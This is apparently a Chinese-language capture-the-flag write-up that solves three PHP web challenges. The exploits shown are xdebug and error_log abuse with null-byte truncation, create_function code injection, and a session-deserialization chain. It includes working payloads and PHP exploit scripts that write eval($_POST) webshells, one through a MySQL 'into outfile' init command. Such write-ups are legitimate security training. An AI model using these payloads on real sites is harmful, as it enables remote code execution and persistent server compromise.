文章目录
- 红包挑战7
- 红包挑战8
- 红包挑战9
红包挑战7
考点:xdebug拓展
源码
<?php
highlight_file(__FILE__);
error_reporting(2);extract($_GET);
ini_set($name,$value);system("ls '".filter($_GET[1])."'"
);function filter($cmd){$cmd = str_replace("'","",$cmd);$cmd = str_replace("\\","",$cmd);$cmd = str_replace("`","",$cmd);$cmd = str_replace("$","",$cmd);return $cmd;
}
分析一下
error_reporting(2);
这将错误报告级别设置为仅显示警告,这可能是为了隐藏潜在的错误消息,使用户看不到;接着extract函数存在变量覆盖;ini_set函数可以修改php拓展;然后字符串拼接命令执行,不过只有ls功能;最后给了黑名单过滤
我们简单测试下,发现flag的位置
那么我们的问题就是如何读取
思路:利用extract函数变量覆盖和ini_set函数修改php配置选项,使得利用拓展实现RCE
我们看一下有什么可用的拓展,通常在/usr/lib/php/extensions
下,但是本题的路径为/usr/local/lib/php/extensions
读取一下,发现存在xdebug拓展
?1=/usr/local/lib/php/extensions/no-debug-non-zts-20180731
结合本题特殊的error_reporting(2)
,翻一下资料,发现xdebug拓展在处理截断问题时会将异常payload回显。而system刚好可以用0字节进行截断来触发异常,也就是%00截断。我们已知可控php配置选项,由于不会设置为2不会回显报错,那么我们可以利用error_log函数控制报错信息回显的路径
payload如下
(注意命令的双引号,单引号被过滤了)
?name=error_log&value=/var/www/html/hack.php&1=%00<?php system("ls /");?>
访问/hack.php
,然后再修改命令即可
红包挑战8
考点:create_function注入
源码
<?php
highlight_file(__FILE__);
error_reporting(0);extract($_GET);
create_function($name,base64_encode($value))();
存在变量覆盖,create_function函数第二个参数无法实现注入
由于我们第一个参数name也是可控的,payload如下
?name=){}system('tac /flag');//
红包挑战9
考点:session反序列化
题目是给了附件的
我们先看common.php
<?phpclass user{public $id;public $username;private $password;public function __toString(){return $this->username;}}class cookie_helper{private $secret = "*************"; //敏感信息打码public function getCookie($name){return $this->verify($_COOKIE[$name]);}public function setCookie($name,$value){$data = $value."|".md5($this->secret.$value);setcookie($name,$data);}private function verify($cookie){$data = explode('|',$cookie);if (count($data) != 2) {return null;}return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;}
}class mysql_helper{private $db;public $option = array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION);public function __construct(){$this->init();}public function __wakeup(){$this->init();}private function init(){$this->db = array('dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8','host' => '127.0.0.1','port' => '3306','dbname' => '****', //敏感信息打码'username' => '****',//敏感信息打码'password' => '****',//敏感信息打码'charset' => 'utf8',);}public function get_pdo(){try{$pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);}catch(PDOException $e){die('数据库连接失败:' . $e->getMessage());}return $pdo;}}class application{public $cookie;public $mysql;public $dispather;public $loger;public $debug=false;public function __construct(){$this->cookie = new cookie_helper();$this->mysql = new mysql_helper();$this->dispatcher = new dispatcher();$this->loger = new userLogger();$this->loger->setLogFileName("log.txt");}public function register($username,$password){$this->loger->user_register($username,$password);$pdo = $this->mysql;$sql = "insert into user(username,password) values(?,?)";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute(array($username,$password));return $pdo->lastInsertId() > 0;}public function login($username,$password){$this->loger->user_login($username,$password);$sql = "select id,username,password from user where username = ? and password = ?";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute(array($username,$password));$ret = $stmt->fetch();return $ret['password']===$password;}public function getLoginName($name){$data = $this->cookie->getCookie($name);if($data === NULL && isset($_GET['token'])){session_decode($_GET['token']);$data = $_SESSION['user'];}return $data;}public function logout(){$this->loger->user_logout();setCookie("user",NULL);}private function log_last_user(){$sql = "select username,password from user order by id desc limit 1";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute();$ret = $stmt->fetch();}public function __destruct(){if($this->debug){$this->log_last_user();}}}class userLogger{public $username;private $password;private $filename;public function __construct(){$this->filename = "log.txt_$this->username-$this->password";}public function setLogFileName($filename){$this->filename = $filename;}public function __wakeup(){$this->filename = "log.txt";}public function user_register($username,$password){$this->username = $username;$this->password = $password;$data = "操作时间:".date("Y-m-d H:i:s")."用户注册: 用户名 $username 密码 $password\n";file_put_contents($this->filename,$data,FILE_APPEND);}public function user_login($username,$password){$this->username = $username;$this->password = $password;$data = "操作时间:".date("Y-m-d H:i:s")."用户登陆: 用户名 $username 密码 $password\n";file_put_contents($this->filename,$data,FILE_APPEND);}public function user_logout(){$data = "操作时间:".date("Y-m-d H:i:s")."用户退出: 用户名 $this->username\n";file_put_contents($this->filename,$data,FILE_APPEND);}public function __destruct(){$data = "最后操作时间:".date("Y-m-d H:i:s")." 用户名 $this->username 密码 $this->password \n";$d = file_put_contents($this->filename,$data,FILE_APPEND);}
}
class dispatcher{public function sendMessage($msg){echo "<script>alert('$msg');window.history.back();</script>";}public function redirect($route){switch($route){case 'login':header("location:index.php?action=login");break;case 'register':header("location:index.php?action=register");break;default:header("location:index.php?action=main");break;}}
}
不难发现存在文件写入的功能考虑反序列化,但是没有发现unserialize函数,不过我们分析下面代码
public function getLoginName($name){$data = $this->cookie->getCookie($name);if($data === NULL && isset($_GET['token'])){session_decode($_GET['token']);$data = $_SESSION['user'];}return $data;}
语句session_decode($_GET['token']);
往session里面存放对象
语句$data = $_SESSION['user'];
往session里面拿取对象,拿取名字为user的对象。
所以满足session反序列化条件的情况下,我们可以构造token=user| 恶意序列化字符串
来实现命令执行
(注:token的格式是因为session的存储格式为键名 + 竖线 + 经过 serialize() 函数反序列处理的值
)
我们访问main.php,发现存在调用getLoginName()
<?php$name = $app->getLoginName('user');if($name){echo "恭喜你登陆成功 <a href='/index.php?action=logout'>退出登陆</a>";
}else{include 'login.html';
}
而要想访问main.php调用此方法就要继续看到index.php
<?phperror_reporting(0);
session_start();
require_once 'common.php';$action = $_GET['action'];
$app = new application();if(isset($action)){switch ($action) {case 'do_login':$ret = $app->login($_POST['username'],$_POST['password']);if($ret){$app->cookie->setcookie("user",$_POST['username']);$app->dispatcher->redirect('main');}else{echo "登录失败";}break;case 'logout':$app->logout();$app->dispatcher->redirect('main');break; case 'do_register':$ret = $app->register($_POST['username'],$_POST['password']);if($ret){$app->dispatcher->sendMessage("注册成功,请登陆");}else{echo "注册失败";}break;default:include './templates/main.php';break;}
}else{$app->dispatcher->redirect('main');
}
可以发现启用session_start();
(说明思路没错),接收action参数进行switch选择判断,如果没找到则跳转main.php,所以我们只需要传参action不为那三个值即可
思路捋清楚后我们看向如何反序列化,前提是if($data === NULL && isset($_GET['token']))
data的值是由getCookie()得到的,我们分析下cookie_helper类
class cookie_helper{private $secret = "*************"; //敏感信息打码public function getCookie($name){return $this->verify($_COOKIE[$name]);}public function setCookie($name,$value){$data = $value."|".md5($this->secret.$value);setcookie($name,$data);}private function verify($cookie){$data = explode('|',$cookie);if (count($data) != 2) {return null;}return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;}
}
verify()首先用|
将cookie值隔开,判断数量是否为2,如果不为2返回null(关键点在这)。
如果返回null的话data值为null,并且我们同时传参token,那么就可以实现session反序列化
cookie值的生成方式也告诉我们$data = $value."|".md5($this->secret.$value);
,我们可以将注册的用户名添加一个|
,然后拼接的时候就会出现两个|
,也就是数量为3实现返回null
注册用户名rev1ve|666,登录得到cookie
然后我们简单构造字符串
<?phpclass userLogger{public $username="<?php eval(\$_POST[1]);?>";private $password="123456";
}
$a=new userLogger();
echo urlencode(serialize($a));
我们可以访问log.txt看看(带上cookie),发现成功写入
那么我们getshell的方式就是写马
题目应该是开启了PDO扩展(common.php中出现的mysql_helper类),用来连接数据库。
利用PDO::MYSQL_ATTR_INIT_COMMAND
连接MySQL服务器时执行的命令(SQL语句)。将在重新连接时自动重新执行。注意,这个常量只能在构造一个新的数据库句柄时在driver_options数组中使用。
构造恶意命令select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';
我们看向mysql_helper类,执行命令如下
public $option = array(PDO::MYSQL_ATTR_INIT_COMMAND => “select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';”
);
往前推,可以发现application类实例化的时候会调用mysql_helper类
连接数据库就得执行mysql_helper::get_pdo()方法,然后必须执行application::log_last_user()方法
private function log_last_user(){$sql = "select username,password from user order by id desc limit 1";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute();$ret = $stmt->fetch();
}
往下看,发现debug的值为True才行
public function __destruct(){if($this->debug){$this->log_last_user();}
}
exp如下
<?php
class mysql_helper{public $option = array(PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?php eval(\$_POST[1]);phpinfo();?>' into outfile '/var/www/html/6.php';");
}class application{public $debug=true;public $mysql;
}$a=new application();
$b=new mysql_helper();
$a->mysql=$b;
echo urlencode(serialize($a));
直接随便抓包一个界面,修改cookie为我们注册rev1ve|666
的,添加payload
然后成功访问得到flag